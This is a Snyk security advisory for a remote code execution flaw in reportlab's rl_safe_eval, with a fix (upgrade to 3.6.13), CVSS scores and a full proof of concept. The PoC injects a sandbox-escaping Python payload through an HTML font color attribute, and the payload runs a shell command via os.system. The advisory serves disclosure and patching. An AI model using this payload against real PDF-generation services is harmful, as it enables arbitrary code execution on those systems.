Remote Code Execution (RCE) Affecting reportlab package, versions [,3.6.13)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.07% (33rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-REPORTLAB-5664897
  • published 2 Jun 2023
  • disclosed 2 Jun 2023
  • credit Elyas Damej

How to fix?

Upgrade reportlab to version 3.6.13 or higher.

Overview

reportlab is a Python library for generating PDFs and graphics.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to insufficient checks in the ‘rl_safe_eval’ function. Attackers can inject malicious code into an HTML file that will later be converted to PDF using software that relies on the ReportLab library. To exploit the vulnerability, the entire malicious code must be executed with eval in a single expression.

Note:

This exploit is possible only if users allow hostile input to be passed into colors - for example if accepting the URL of an HTML page someone else had written, with a generic conversion routine.

PoC

from reportlab.platypus import SimpleDocTemplate, Paragraph
from io import BytesIO
stream_file = BytesIO()
content = []

def add_paragraph(text, content):
    """ Add paragraph to document content"""
    content.append(Paragraph(text))

def get_document_template(stream_file: BytesIO):
    """ Get SimpleDocTemplate """
    return SimpleDocTemplate(stream_file)

def build_document(document, content, **props):
    """ Build pdf document based on elements added in `content`"""
    document.build(content, **props)



doc = get_document_template(stream_file)
#
# THE INJECTED PYTHON CODE THAT IS PASSED TO THE COLOR EVALUATOR
#[
#    [
#        [
#             [
#                 ftype(ctype(0, 0, 0, 0, 3, 67, b't\x00d\x01\x83\x01\xa0\x01d\x02\xa1\x01\x01\x00d\x00S\x00',
#                       (None, 'os', 'touch /tmp/exploited'), ('__import__', 'system'), (), '<stdin>', '', 1, b'\x12\x01'), {})()
#                 for ftype in [type(lambda: None)]
#             ]
#             for ctype in [type(getattr(lambda: {None}, Word('__code__')))]
#        ]
#        for Word in [orgTypeFun('Word', (str,), {
#            'mutated': 1,
#            'startswith': lambda self, x: False,
#            '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x,
#            'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
#            '__hash__': lambda self: hash(str(self))
#        })]
#    ]
#    for orgTypeFun in [type(type(1))]
#]

add_paragraph("""
            <para>
              <font color="[ [ [ [ ftype(ctype(0, 0, 0, 0, 3, 67, b't\\x00d\\x01\\x83\\x01\\xa0\\x01d\\x02\\xa1\\x01\\x01\\x00d\\x00S\\x00', (None, 'os', 'touch /tmp/exploited'), ('__import__', 'system'), (), '<stdin>', '', 1, b'\\x12\\x01'), {})() for ftype in [type(lambda: None)] ] for ctype in [type(getattr(lambda: {None}, Word('__code__')))] ] for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))]] and 'red'">
                exploit
                </font>
            </para>""", content)
build_document(doc, content)

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
8.8 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    Required
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

7.8 high
Expand this section

SUSE

9.8 critical
Expand this section

Red Hat

7.8 high